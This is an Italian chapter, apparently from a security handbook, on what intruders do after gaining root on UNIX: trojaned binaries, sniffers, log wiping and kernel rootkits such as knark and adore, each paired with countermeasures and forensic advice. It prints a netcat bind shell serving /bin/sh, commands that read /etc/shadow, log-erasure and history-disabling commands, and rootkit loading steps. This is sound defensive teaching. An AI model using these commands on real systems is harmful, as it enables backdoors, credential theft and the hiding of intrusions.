Dopo aver smaltito la scarica di adrenalina che segue l'avvenuta intrusione, per l'hacker arriva il momento di compiere il lavoro vero e proprio. I prossimi passaggi saranno il rastrellamento capillare delle informazioni relative al sistema e la predisposizione di programmi di sniffer per catturare password di login, `telnet`, `ftp`, `smtp` e `snmp`: verrà infine predisposto tutto il necessario per attaccare la prossima vittima. Quasi tutte queste tecniche vengono messe in pratica installando sul server target opportuni programmi di utilità già pronti che vengono chiamati "rootkit".

Rootkit

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

Il sistema conquistato diventa il punto di partenza per ogni attacco successivo, per cui è importante che l'hacker installi e nasconda i suoi rootkit. Ognuno di questi pacchetti generalmente è costituito da quattro gruppi di strumenti, appositamente

compilati per quel tipo e per quella versione di UNIX: (1) trojan come versioni alterate di `login`, `netstat` e `ps`; (2) backdoor come `inetd`; (3) sniffer che si connettono a diversi dispositivi; (4) strumenti per la "pulizia" del log di sistema.

Trojan

Una volta che l'hacker è diventato root, la prima attività consiste nel trasformare in trojan tutti i comandi del sistema. Questo è il motivo per cui è necessario monitorare la dimensione e la data di modifica di ogni programma del sistema, ma specialmente di quelli più utilizzati, come `login`, `su`, `telnet`, `ftp`, `passwd`, `netstat`, `ifconfig`, `ls`, `ps`, `ssh`, `find`, `du`, `df`, `sync`, `reboot`, `halt`, `shutdown` e così via.
Molti rootkit hanno, per esempio, una versione modificata di `login`. Il programma consente la connessione di un utente esattamente come la versione corretta di `login`; in aggiunta però questo trojan registra il nome utente e la password in un file, per un uso successivo da parte dell'hacker. È disponibile una versione modificata di `ssh` che esegue la stessa funzione.
Un altro trojan può creare una backdoor verso il vostro sistema, avviando un processo TCP in ascolto e attivando una shell UNIX in connessione inversa. Per esempio il comando `ls` potrebbe controllare l'esistenza di un altro trojan e attivare, se non presente, una versione personalizzata di `netcat` che attiva `/bin/sh` quando l'hacker si collega. Il seguente comando, per esempio, attiva `netcat` in background, impostando una connessione in ascolto alla porta TCP 222 e attivando `/bin/sh` se la connessione viene stabilita:

```
[tsunami]# nohup nc -l -p 222 -nvv -e /bin/sh &
listening on [any] 222 ...
```

L'hacker può quindi vedere la sessione seguente quando si collega alla porta TCP 222, operando poi come utente root:

```
[rumble]# nc -nvv 24.8.128.204 222
(UNKNOWN) [192.168.1.100] 222 (?) open
cat /etc/shadow
root:ar90alrR10r41:10783:0:99999:7:-1:-1:134530596
bin:*:10639:0:99999:7:::
daemon:*:10639:0:99999:7:::
adm:*:10639:0:99999:7:::
...
```

Il numero di trojan possibili è limitato solamente dall'immaginazione dell'hacker (che tende a essere decisamente grande). Nel Capitolo 14 ne tratteremo altri.
Il monitoraggio delle porte attive in ascolto è in grado di prevenire questo tipo di attacco, anche se la contromisura migliore dovrebbe consistere nell'evitare che i file binari vengano sostituiti.

Contromisure ai trojan

Senza ricorrere ai programmi di utilità adatti, è molto difficile rilevare la presenza di trojan: spesso hanno la stessa dimensione del file originale e possono anche avere la stessa data, per cui non è sufficiente accontentarsi delle metodologie standard di identificazione. Dovete avere a disposizione un programma in grado di calcolare la

checksum crittografica del programma, per poter firmare elettronicamente ogni file binario e memorizzare in maniera sicura tali firme (per esempio un dischetto o un nastro in cassaforte). I più popolari strumenti di calcolo delle checksum sono Tripwire (`http://www.tripwire.com`) e **`md5sum`**: questi programmi consentono di calcolare una firma elettronica per ogni file e stabilire in modo inoppugnabile se il programma è stato modificato. Spesso gli amministratori si ricordano di creare il checksum solo dopo aver subito un attacco: questa non è la soluzione ideale. Fortunatamente, alcuni sistemi vengono forniti con funzionalità di gestione integrate che comprendono degli algoritmi di hash abbastanza robusti. Per esempio, molte distribuzioni Linux utilizzano il formato RPM (*RedHat Package Manager*). Parte delle specifiche di RPM includono i checksum MD5. Come utilizzare questa funzionalità dopo che un sistema è stato manomesso? Ricorrendo a una copia conosciuta e affidabile di `rpm`, è possibile interrogare una distribuzione non manomessa per verificare se i file eseguibili associati sono stati modificati:

```
[@shadow]# rpm -Vvp ftp://ftp.redhat.com/pub/redhat/\
redhat-6.2/i386/RedHat/RPMS/fileutils-4.0-21.i386.rpm

S.5....T   /bin/ls
```

Nel nostro esempio, `/bin/ls` fa parte del pacchetto fileutils fornito con RedHat 6.2. Come si può vedere, la presenza di "5" indica che `/bin/ls` è stato modificato. Questo significa che il checksum MD5 del file eseguibile è diverso da quello della distribuzione. Una buona indicazione che la macchina si trova nelle mani di qualcuno.

Per i sistemi Solaris, è possibile scaricare un database completo di checksum MD5 all'indirizzo `http://www.sun.com/software/security/download.html`. Si tratta del database Solaris Fingerprint gestito da Sun, che può tornare utile a tutti gli amministratori Solaris.

Se il vostro sistema viene manomesso non è molto utile ricorrere a nastri di backup per ripristinare i file: anche i backup potrebbero essere stati "infettati". Per ripristinare il sistema spesso è necessario reinstallare tutto dai dischi originali.

Sniffer

Se il vostro sistema è stato invaso da un utente root non autorizzato, avete seri problemi, ma le conseguenze peggiori potrebbero venire da programmi in costante ascolto del traffico di rete installati sul server espugnato. Quelli che vengono normalmente chiamati *sniffer* (dal nome del noto software di monitoraggio di rete di Network General, ora parte di Network Associates, Inc.) sono lo strumento più devastante che un hacker è in grado di utilizzare. Perché? Consentono agli hacker di colpire qualunque sistema in comunicazione con il server violato, e praticamente tutti i sistemi presenti nello stesso segmento di rete.

Che cos'è uno sniffer?

Gli sniffer sono nati come risposta alla necessità di avere uno strumento che eseguisse il debug delle comunicazioni in rete; catturano i pacchetti che circolano sulla rete, li interpretano e li memorizzano per un'analisi successiva. In questo modo, gli ingegneri di rete possono vedere cosa succede, e sono in grado di individuare e risolvere i problemi di comunicazione consultando il traffico di rete nella forma primordiale. Di seguito potete vedere un esempio di intercettazione dei pacchetti. Il

nome utente è "guest" e la password è "guest". Vengono visualizzati anche tutti i comandi che l'utente esegue successivamente.

```
------------[SYN] (slot 1)
pc6 => target3 [23]
%&& #'$ANSI"!guest
guest
ls
cd /
ls
cd /etc
cat /etc/passwd
more hosts.equiv
more /root/.bash_history
```

Come la maggior parte dei potenti strumenti di amministrazione delle reti, anche questo è stato trasformato nel corso degli anni per poter supportare le malefatte degli hacker più smaliziati. Potete immaginare la quantità di preziose informazioni che passa attraverso un segmento di rete anche in un breve lasso di tempo. È possibile intercettare coppie di nome utente e password, messaggi di posta elettronica confidenziali, interi file contenenti informazioni finanziarie, industriali, grafici di vendita e così via. Prima o poi qualunque cosa tradotta in bit e byte è trasmessa in rete ed è quindi captabile da uno sniffer in ascolto.

Anche se discuteremo di come difenderci da queste orecchie indiscrete, noi speriamo che stiate cominciando a comprendere quanto possono essere pericolosi tali strumenti se messi nelle mani di un hacker. Niente è più al sicuro se sono stati installati sniffer, perché la quasi totalità delle informazioni trasmesse è comunicata in chiaro. `dsniff` (`http://www.monkey.org/~dugsong/dsniff`), sviluppato da DugSong, è il nostro sniffer preferito ed è disponibile all'indirizzo `http://packetstorm-security.org/sniffers/` insieme con gli altri sniffer più diffusi.

Funzionamento degli sniffer

Il modo migliore per comprendere il funzionamento degli sniffer consiste nell'analisi di uno sniffer che si connette a una rete Ethernet. Ovviamente, ne esistono per ogni tipo di rete, ma visto che Ethernet è la tipologia più diffusa, ci soffermeremo sulla sua analisi. Potete applicare gli stessi principi ad altre architetture di rete.

Uno sniffer Ethernet è un programma che funziona in stretto collegamento con l'interfaccia di rete (NIC), per ascoltare tutto il traffico che attraversa la scheda, piuttosto che intercettare solo quello indirizzato a essa. Di norma, una scheda di rete Ethernet scarta tutto il traffico che non è diretto esplicitamente alla scheda o all'indirizzo di broadcast della rete, per cui la scheda deve essere impostata per passare a una speciale modalità, chiamata *modalità promiscua*. In questo modo la scheda è abilitata a ricevere tutti i pacchetti che attraversano il segmento di rete.

Una volta che la scheda è posta in modalità promiscua, lo sniffer può catturare tutto il traffico che attraversa il segmento Ethernet. Questo in qualche modo lo limita, perché la scheda (e di conseguenza il software) non è in grado di intercettare il traffico al di fuori del dominio di collisione (ossia al di là di router, switch e altri dispositivi di segmentazione). Ovviamente uno sniffer posizionato in un segmento backbone, in un collegamento tra reti o in altri punti di aggregazione di reti diverse, sarà in grado di intercettare alti volumi di traffico rispetto a quello in ascolto su un segmento Ethernet isolato.

Ora che abbiamo illustrato i principi di funzionamento di uno sniffer, consideriamone alcuni in particolare e descriviamo come poterli intercettare.

Sniffer più diffusi

La Tabella 7.2 non può certamente ritenersi esaustiva, ma questi sono gli strumenti che abbiamo incontrato (e utilizzato) con maggior frequenza in diversi anni di certificazioni di sicurezza.

Contromisure agli sniffer

Esistono sostanzialmente tre approcci fondamentali in grado di sconfiggere gli sniffer presenti sulla vostra rete.

Impiego di topologie segmentate di rete

Una rete Ethernet condivisa è decisamente vulnerabile alle tecnologie di sniffing, dal momento che tutto il traffico è trasmesso alle postazioni sullo stesso segmento. L'adozione di switch consente di posizionare ogni postazione in un cosiddetto dominio di collisione, in modo che solamente il traffico destinato allo specifico host (e il traffico in broadcast) raggiunga la scheda di rete. Un altro vantaggio dell'impiego degli switch consiste nel miglioramento complessivo delle prestazioni di rete. Visto che il costo dei dispositivi di switch si avvicina sempre più a quello dei dispositivi condivisi, non c'è alcun motivo valido per adottare ancora un'architettura Ethernet condivisa. Se l'ufficio di IT non comprende mostrategli le loro password, ottenute utilizzando uno dei programmi elencati nella tabella seguente: vedrete che vi prenderanno più in considerazione.

Tabella 7.2 I più diffusi programmi "sniffer" gratuiti per UNIX

Nome	Reperibilità	Descrizione
Sniffit di Brecht Claerhout ("coder")	`http://reptile.rug.ac.be/~coder/sniffit/sniffit.html`	Un semplice sniffer di pacchetti che può essere impiegato in Linux, SunOS, Solaris, FreeBSD e Irix.
TCPDump 3.x di Steve McCanne, Craig Leres e Van Jacobson	`http://www-nrg.ee.lbl.gov/`	Il classico strumento di analisi dei pacchetti, disponibile per diverse piattaforme.
Linsniff di Mike Edulla	`http://www.rootshell.com/`	Progettato specificamente per intercettare le password di Linux.
Solsniff di Michael R. Widner	`http://www.rootshell.com/`	Uno sniffer modificato per poter funzionare in ambiente Sun Solaris 2.*x*.
Dsniff	`http://www.monkey.org/~dugsong`	Uno degli sniffer tra i più efficaci disponibili.
Snort	`http://www.snort.org`	Uno sniffer a tutto tondo.
Ethereal	`http://www.ethereal.com`	Un fantastico sniffer freeware con una grande quantità di decodifiche.

Sebbene le reti commutate aiutino a sconfiggere gli hacker inesperti, esse possono essere facilmente trasformate per intercettare il traffico di una rete locale. Un programma come `arpredirect`, che fa parte del pacchetto dsniff di Dug Song

(`http://www.monkey.org/~dugsong/dsniff/`), è in grado di corrompere la sicurezza fornita dalla maggior parte degli switch. Vi rimandiamo al Capitolo 10 per una trattazione completa di `arpredirect`.

Intercettazione degli sniffer

Esistono due metodi fondamentali per intercettare gli sniffer: il primo basato sugli host e il secondo sulla rete. Il primo metodo consiste nell'individuazione delle schede di rete che stanno funzionando in modalità promiscua. Esistono diversi programmi per ambiente UNIX in grado di fornire questa informazione, tra cui CPM (*Check Promiscuous Mode*) della Carnegie Mellon University (disponibile al sito `ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/`).
Gli sniffer sono anche visibili nell'elenco dei processi e di solito generano file di log che tendono a diventare sempre più voluminosi: potete usare semplici script UNIX e utilizzare i comandi `ps`, `lsof` e `grep` per intercettare attività sospette sui server. Gli hacker più intelligenti cercheranno anche di mascherare i processi di sniff sotto falso nome, e di nascondere i file di log in directory nascoste, per cui queste tecniche non sono sempre efficaci.
L'intercettazione degli sniffer basata sulla rete è stata a lungo ipotizzata e di recente qualcuno ha anche scritto un programma che ha trasformato la teoria in pratica: il programma è AntiSniff e gli autori sono il gruppo di ricerca L0pht Heavy Industries (`http://www.defcon.tv.sniffers/antisniff/`).
Oltre a AntiSniff, `sentinel` (`http://www.packetfactory.net/Projects/Sentinel/`), può essere eseguito da un sistema UNIX e dispone di funzionalità avanzate di intercettazione del traffico di rete in modalità promiscua.

Cifratura delle trasmissioni (SSH, IPSec)

La soluzione a lungo termine per gli spioni di rete è la cifratura. Solamente la cifratura end-to-end (in cui cioè sono i due estremi a cifrare e decifrare le comunicazioni) può garantire la sicurezza e l'integrità quasi assolute del traffico di rete. La lunghezza della chiave di cifratura dev'essere determinata sulla base del tempo di riservatezza dell'informazione: lunghezze inferiori della chiave (40 bit) possono essere utilizzate per cifrare dati che perdono validità rapidamente, con la possibilità di ottimizzare le prestazioni.
Il protocollo Secure Shell (SSH) viene utilizzato dalla comunità UNIX quando è necessario il login remoto e cifrato a un server. Le versioni gratuite per uso non commerciale o didattico possono essere reperite al sito `http://www.ssh.com/download/`. OpenSSH è un'alternativa open source gratuita introdotta dal gruppo OpenBSD disponibile all'indirizzo `www.openssh.com`.
Il protocollo IPSec (*IP Security Protocol*) è stato proposto come standard Internet per autenticare e cifrare il traffico IP. Esistono decine di distributori di prodotti basati su IPSec: potete ricercare sulla rete Internet tutte le informazioni e le caratteristiche. Per gli utenti Linux consigliamo di consultare il progetto FreeSWAN all'indirizzo `http://www.freeswan.org/intro.html` per un'implementazione open source gratuita di IPSec e IKE.

Pulizia dei file di log

L'hacker che non vuole lasciare tracce delle sue visite (e che soprattutto non vuole lasciarne alla polizia) si preoccupa quasi sempre di fare pulizia nei file di log, elimi-

nando le tracce delle operazioni svolte. Esistono tantissimi programmi in grado di pulire i file di log e ogni buon rootkit dispone dei propri strumenti. I più popolari sono zap, wzap, wted e remove. In molti casi è comunque sufficiente un normale editor come vi o emacs.
Ovviamente il primo passo per la rimozione delle impronte lasciate dal sistema consiste nell'eliminazione della registrazione del login.
Scopriamo quale sia la tecnica più corretta da impiegare curiosando nel file di configurazione /etc/syslog.conf. Per esempio dal file syslog.conf mostrato di seguito, scopriamo che la maggior parte delle registrazioni di login può essere trovata nella directory /var/log/:

```
[quake]# cat /etc/syslog.conf
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.*                                             /dev/console
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none                      /var/log/messages
# The authpriv file has restricted access.

authpriv.*                                          /var/log/secure
# Log all the mail messages in one place.
mail.*                                              /var/log/maillog
# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg                                             *
# Save mail and news errors of level err and higher in a
# special file.
uucp,news.crit                                      /var/log/spooler
```

Grazie a queste informazioni l'hacker sa che deve ricercare in /var/log i file di log principali. Con un semplice elenco dei file presenti scopriamo una quantità di file di log, tra cui cron, maillog, messages, spooler, secure (il log del wrapper TCP), wtmp e xferlog.
Alcuni di questi file devono essere modificati; tra questi indichiamo messages, secure, wtmp e xferlog. Dal momento che il file di log wtmp è in formato binario (e di regola è utilizzato solamente dal comando who), l'hacker di solito utilizza uno dei programmi di utilità del rootkit per modificarlo. wzap è il programma specifico per il file wtmp ed elimina da questo solamente l'utente specificato. Per esempio, per avviare wzap, eseguite il comando seguente:

```
[quake]# who ./wtmp
joel     ftpd17264 Jul  1 12:09 (172.16.11.204)
root     tty1      Jul  4 22:21
root     tty1      Jul  9 19:45
root     tty1      Jul  9 19:57
root     tty1      Jul  9 21:48
root     tty1      Jul  9 21:53
root     tty1      Jul  9 22:45
root     tty1      Jul 10 12:24
joel     tty1      Jul 11 09:22
stuman   tty1      Jul 11 09:42
root     tty1      Jul 11 09:42
root     tty1      Jul 11 09:51
```

```
root      tty1      Jul 11 15:43
joel      ftpd841   Jul 11 22:51 (172.16.11.205)
root      tty1      Jul 14 10:05
joel      ftpd3137 Jul 15 08:27 (172.16.11.205)
joel      ftpd82    Jul 15 17:37 (172.16.11.205)
joel      ftpd945   Jul 17 19:14 (172.16.11.205)
root      tty1      Jul 24 22:14

[quake]# /opt/wzap
Enter username to zap from the wtmp: joel
opening file...
opening output file...
working...
[quake]# who ./wtmp.out
root      tty1      Jul  4 22:21
root      tty1      Jul  9 19:45
root      tty1      Jul  9 19:57
root      tty1      Jul  9 21:48
root      tty1      Jul  9 21:53
root      tty1      Jul  9 22:45
root      tty1      Jul 10 12:24
stuman    tty1      Jul 11 09:42
root      tty1      Jul 11 09:42
root      tty1      Jul 11 09:51
root      tty1      Jul 11 15:43
root      tty1      Jul 14 10:05
root      tty1      Jul 24 22:14
root      tty1      Jul 24 22:14
```

Il nuovo file di log in output (`wtmp.out`) non contiene registrazioni per l'utente "joel". Il comando di copia di `wtmp.out` in `wtmp` completa l'operazione rimuovendo la voce del file di log. Alcuni programmi come `zap` (versione per SunOS 4.*x*) modificano effettivamente la data e l'ora dell'ultimo login (come se venisse utilizzato il comando `finger`). Per procedere, è possibile modificare manualmente (con `vi` o `emacs`) file di log `secure`, `messages` e `xferlog`, rimuovendo la registrazione delle attività incriminate.

Come ultimo passaggio è necessario rimuovere la cronologia dei comandi eseguiti. Molte shell UNIX mantengono traccia dei comandi utilizzati per facilitare la ripetizione e l'esecuzione multipla degli stessi. Per esempio la shell Bourne Again (`/bin/bash`) conserva traccia dei comandi nella directory home dell'utente (anche in quella dell'utente root): il file si chiama `.bash_history` e contiene l'elenco degli ultimi comandi eseguiti. In genere, come ultimo passaggio prima di disconnettersi, l'hacker rimuoverà il contenuto di questo file. Per esempio il file `.bash_history` potrebbe essere simile al seguente:

```
tail -f /var/log/messages
vi chat-ppp0
 kill -9 1521
logout
<l'intruso attacca il sistema ed inizia il suo lavoro in questo punto>
i
pwd
cat /etc/shadow >> /tmp/.badstuff/sh.log
cat /etc/hosts >> /tmp/.badstuff/ho.log
cat /etc/groups >> /tmp/.badstuff/gr.log
```

```
netstat -na >> /tmp/.badstuff/ns.log
arp -a >> /tmp/.badstuff/a.log
/sbin/ifconfig >> /tmp/.badstuff/if.log
find / -name -type f -perm -4000 >> /tmp/.badstuff/suid.log
find / -name -type f -perm -2000 >> /tmp/.badstuff/sgid.log
...
```

Con un semplice editor di testo l'hacker può rimuovere i comandi dal file e utilizzare il comando `touch` per impostare nuovamente la data e l'ora dell'ultima modifica del file. Altrimenti è possibile evitare la registrazione dei comandi disabilitando questa funzione della shell, nel modo seguente:

```
Unset HISTFILE; unset SAVEHIST
```

Oppure l'hacker potrebbe dirigere l'output del file `.bash_history` verso `/dev/null`:

```
[rumble]# ln -s /dev/null ~/.bash_history
[rumble]# ls -l .bash_history
lrwxrwxrwx   1 root     root            9 Jul 26 22:59 .bash_history ->
/dev/null
```

Contromisure alla manomissione dei file di log

La cosa più importante è cercare di dirigere il file di log verso un supporto difficile da modificare. Questo potrebbe essere un file system che supporta gli attributi estesi e contiene l'impostazione append (solo accodamento) per i file di log. In questo modo le informazioni di registrazione delle attività possono essere solamente scritte in coda al file e non modificate. Questa non è una soluzione sempre valida, perché gli hacker possono aggirare questo meccanismo. Il secondo metodo che vi proponiamo consiste nel dirottare i log in file crittografati sicuri con `syslog`. Ricordate che se il vostro sistema è stato attaccato con successo, non è assolutamente possibile confidare sulla lettura dei log di sistema, perché questi potrebbero essere stati manomessi con estrema facilità.

Rootkit del kernel

Abbiamo perso un po' di tempo a esaminare i rootkit tradizionali che modificano e trasformano in trojan i file esistenti dopo che il sistema è stato manomesso. Questo tipo di sotterfugio è passato di moda. Le varianti dei rootkit più recenti e insidiose sono quelle basate sul kernel, che modificano il kernel UNIX in esecuzione per ingannare tutti i programmi di sistema senza modificare i programmi stessi.
Di solito viene utilizzata la funzionalità LKM (*Loadable Kernel Module*) per caricare un modulo aggiuntivo nel kernel, senza che sia necessario compilare nuovamente il kernel: essa consente di caricare e scaricare moduli kernel a piacere, riducendo al tempo stesso le dimensioni del kernel eseguito. Di conseguenza, è possibile compilare un kernel compatto e di piccole dimensioni e caricare i diversi moduli solo quando strettamente necessario. Molte distribuzioni UNIX supportano questa funzionalità, comprese Linux, FreeBSD e Solaris. Un hacker esperto potrebbe però abusare impunemente di questa funzionalità per manipolare completamente il sistema e tutti i processi. Per esempio, invece che per caricare i driver delle schede di re-

te, potrebbe utilizzare LKM per intercettare le chiamate di sistema e modificare la risposta del sistema a determinati comandi. I due rootkit di kernel più diffusi sono `knark` per Linux e Solaris Loadable Kernel Modules (`http://packetstormsecurity.org/groups/thc/slkm-1.0.html`) di THC. In seguito prenderemo in considerazione `knark` (`http://packetstormsecurity.org/UNIX/penetration/rootkits/knark-0.59.tar.gz`).
`knark` è stato sviluppato da Creed ed è un rootkit basato sulle versioni 2.2.*x* del kernel Linux. Il cuore del pacchetto software è il modulo kernel `knark.o`. Per caricare il modulo è possibile utilizzare il programma di utilità `insmod`:

```
[shadow]# /sbin/insmod knark.o
```

Verifichiamo che il modulo sia stato caricato:

```
[shadow]# /sbin/lsmod
Module                  Size  Used by
knark                   6936   0  (unused)
nls_iso8859-1           2240   1  (autoclean)
lockd                  30344   1  (autoclean)
sunrpc                 52132   1  (autoclean) [lockd]
rtl8139                11748   1  (autoclean)
```

Come si può vedere, il modulo kernel `knark` è stato caricato, e sarebbe semplice per un amministratore di sistema individuare questo modulo, spegnendo sul nascere il desiderio dell'hacker di rimanere nascosto nel sistema con in possesso le autorizzazioni di accesso privilegiato. Per questo motivo l'hacker utilizza il modulo LKM `modhide.o` (che fa parte del pacchetto knark) per rimuovere il modulo `knark` dall'uscita prodotta da `lsmod`:

```
[shadow]# /sbin/insmod modhide.o
modhide.o: init_module: Device or resource busy
[shadow]# /sbin/lsmod
Module                  Size  Used by
nls_iso8859-1           2240   1  (autoclean)
lockd                  30344   1  (autoclean)
sunrpc                 52132   1  (autoclean) [lockd]
rtl8139                11748   1  (autoclean)
```

Come si può vedere, eseguendo nuovamente il comando `lsmod`, `knark` è magicamente scomparso. Altri programmi di utilità interessanti inclusi nel pacchetto `knark` sono i seguenti:

- `hidef`. Utilizzato per nascondere i file del sistema;
- `unhidef`. Utilizzato per mostrare i file nascosti;
- `ered`. Utilizzato per configurare il reindirizzamento degli eseguibili, consentendo l'esecuzione dei programmi trasformati in trojan dall'hacker invece delle loro versioni originali;
- `nethide`. Utilizzato per nascondere le stringhe in `/proc/net/tcp` e `/proc/net/udp`, che sono i file da cui `netstat` ricava le sue informazioni e viene utilizzata dagli hacker per nascondere le connessioni da e verso il sistema manomesso;
- `taskhack`. Utilizzato per modificare le impostazioni *UID e *GID dei processi in esecuzione, che consente a un hacker di modificare istantaneamen-

te il proprietario del processo /bin/sh (eseguito come un utente normale) nell'ID dell'utente root (0);

- rexec. Utilizzato per eseguire comandi remoti su un server knark. Supporta la funzionalità di modifica dell'indirizzo di partenza, consentendo all'hacker di eseguire i comandi senza essere rilevato:
- rootme. Utilizzato per ottenere l'accesso come root senza utilizzare programmi SUID. L'esempio seguente evidenzia la semplicità di utilizzo:

```
[shadow]$ rootme /bin/sh
        rootme.c by Creed @ #hack.se 1999 creed@sekure.net
Do you feel lucky today, hax0r?
bash#
```

Oltre a knark, Teso ha creato una versione aggiornata del rootkit del kernel denominata adore, disponibile all'indirizzo http://teso.scene.at/releases/adore-0.14.tar.gz. Questo programma è altrettanto se non più potente di knark. Di seguito vengono riportate alcune delle opzioni disponibili:

```
[shadow]$ ava
Usage: ./ava {h,u,r,i,v,U} [file, PID or dummy (for 'U')]
       h hide file
       u unhide file
       r execute as root
       U uninstall adore
       i make PID invisible
       v make PID visible
```

Se questo non basta a spaventarvi, Silvio Cesare ha scritto un saggio sugli strumenti che consentono di aggiornare al volo la memoria del kernel nei sistemi che non dispongono del supporto LKM.
Il saggio e gli strumenti associati sono disponibili all'indirizzo http://packetstormsecurity.nl/9901-exploits/runtime-kernel-kmem-patching.txt. Per finire, Job De Haas ha svolto un lavoro di ricerca sull'hacking del kernel delle piattaforme Solaris. Potete dare un'occhiata al codice beta da lui scritto all'indirizzo http://www.itsx.com/projects-lkm-kmod.html.

Contromisure al rootkit del kernel

Abbiamo visto che i rootkit del kernel possono avere un effetto devastante e sono quasi impossibili da scoprire. Quando tentate di stabilire se un sistema è stato manomesso non potete fare affidamento ai file eseguibili o al kernel stesso. Persino i programmi di utilità per il calcolo del checksum come Tripwire sono inutilizzabili, una volta che il kernel è stato manomesso. Un metodo per individuare knark è utilizzare knark stesso. Poiché knark consente a un intruso di nascondere un qualsiasi processo invocando il comando kill -31 su uno specifico PID, è possibile mostrare un processo inviando al processo stesso il comando kill -32. È sufficiente scrivere un semplice script di shell che invia a ciascun PID il comando kill -32:

```
#!/bin/sh
rm pid
S=1
  while [ $S -lt 10000 ]
```

```
        do
        if kill -32 $S; then
        echo "$S" >> pid
          fi
S=`expr $S + 1`

  Done
```

Ricordate che, una volta caricato knark, kill -31 e kill -32 sono opzioni configurabili. Di conseguenza un hacker più abile può modificare queste opzioni per evitare di essere individuato. Tuttavia, la maggior parte degli hacker inesperti tenderà a utilizzare le impostazioni predefinite. Meglio ancora, potete utilizzare un programma di utilità chiamato Carbonite, scritto da Kevin Mandia e Keith Jones di Foundstone (reperibile all'indirizzo http://www.foundstone.com/knowledge/free_tools.html). Carbonite è un modulo di kernel Linux che "congela" lo stato di qualsiasi processo presente nella task_struct, che è la struttura del kernel che contiene le informazioni su qualsiasi processo in esecuzione, aiutando a individuare LKM pericolosi. Carbonite cattura informazioni simili a quelle di lsof, ps e una copia dell'immagine eseguibile di ogni processo avviato sul sistema. La possibilità di "interrogare" un processo è utile anche in caso un intruso nasconda un processo con uno strumento come knark, dal momento che Carbonite lavora all'interno del contesto del kernel dell'host vittima.

La prevenzione è sempre la migliore contromisura consigliabile. L'utilizzo di un programma come LIDS (*Linux Intrusion Detection System*) è la migliore contromisura adottabile nei sistemi Linux. LIDS è disponibile all'indirizzo www.lids.org ed è in grado di fornire, tra le altre, le seguenti funzionalità.

- Possibilità di "sigillare" il kernel per impedire le modifiche.
- Possibilità di impedire il caricamento e lo scaricamento dei moduli kernel.
- Autorizzazioni di accesso a file (solo accodamento) invariabili.
- Blocco dei segmenti di memoria condivisi.
- Protezione contro la manipolazione del PID.
- Protezione dei file /dev/ particolarmente importanti.
- Intercettazione delle scansioni sulle porte.

LIDS è un aggiornamento del kernel che deve essere applicato al sorgente del kernel esistente e che richiede la ricompilazione del kernel stesso. Una volta installato LIDS, utilizzate lo strumento lidsadm per "sigillare" il kernel, in modo da prevenire molti dei tiri mancini agli LKM precedentemente menzionati. Esaminiamo cosa accade quando LIDS è attivo e l'hacker cerca di eseguire knark:

```
[shadow]# insmod knark.o
Command terminated on signal 1.
```

Un'occhiata al file /var/log/messages indica che non solo LIDS ha intercettato il tentativo di caricamento del modulo ma che lo ha anche impedito:

```
Jul  9 13:32:02 shadow kernel: LIDS: insmod (3 1 inode 58956) pid 700
user (0/0) on pts0: CAP_SYS_MODULE violation: try to create module knark
```

Per i sistemi non Linux che richiedono livelli di sicurezza particolarmente elevati, potrebbe essere opportuno esaminare cosa succede quando viene disabilitato il

supporto LKM. Pur non essendo la soluzione più elegante, questo approccio evita che qualche ragazzino impertinente vi rovini la giornata.
Oltre a LIDS, è stato sviluppato un pacchetto relativamente nuovo per bloccare i rootkit. St. Michael (`http://www.surceforge.net/project/stjude`) è un supporto LKM che cerca di rilevare i tentativi di installazione di una backdoor di modulo kernel in un sistema Linux attivo. Questa tecnica è ottenuta grazie al monitoraggio nella tabella delle chiamate di sistema delle modifiche ai processi `init_module` e `delete_module`.

Ripristino del rootkit

Non è certo possibile fornire un elenco completo di tutti gli strumenti di sicurezza che dovrebbero far parte del vostro arsenale: per questo vi consigliamo il lavoro completo di Chris Prosise e Kevin Mandia *Hacker Pronto Intervento*, Apogeo, 2002. Tuttavia è importante essere pronti a sfoderare le proprie armi dovesse mai arrivare la fatidica chiamata. Sì, ma quale chiamata? Lo scenario è più o meno il seguente. "Salve, sono l'amministratore di sistema della società pinco pallino. Ho ragione di credere che sia in corso un attacco da parte del vostro sistema". "Non è possibile, qui sembra tutto normale", risponderete. Il vostro interlocutore vi chiederà di eseguire un controllo e di richiamarlo più tardi. Adesso provate quella stretta di stomaco che solo l'amministratore di un sistema violato può comprendere. Dovete determinare cosa è successo e come sia potuto succedere. Restate calmi e siate consapevoli del fatto che qualsiasi azione intrapresa sul sistema potrebbe cancellare la prova elettronica dell'avvenuta intrusione: basta visualizzare un file per modificare la data e l'ora dell'ultimo accesso. Il primo passo importante per preservare le eventuali prove consiste nel creare una raccolta di file binari collegati staticamente, di cui sia stata verificata la cifratura. L'utilizzo di questi file è necessario nel caso in cui l'hacker modifichi i file di una libreria condivisa del sistema manomesso. Questa operazione deve essere eseguita prima che si verifichi l'incidente. Create e mantenete un dischetto o un CD-ROM contenente la raccolta dei programmi collegati staticamente più diffusi. Tra questi non devono mancare i programmi elencati nella tabella seguente.

ls	su	dd
ps	login	du
netstat	grep	lsof
w	df	top
finger	sh	file

Avendo a disposizione questa cassetta degli attrezzi, è importante preservare i tre valori di data e ora associati a ciascun file di un sistema UNIX. Questi includono la data e l'ora dell'ultimo accesso, la data e l'ora della modifica e la data e l'ora di creazione. Un metodo semplice per salvare queste informazioni consiste nell'eseguire i comandi riportati di seguito e salvare il risultato su un dischetto o un supporto esterno:

```
ls -alRu > /floppy/timestamp_access.txt
ls -alRc > /floppy/timestamp_modification.txt
ls -alR > /floppy/timestamp_creation.txt
```

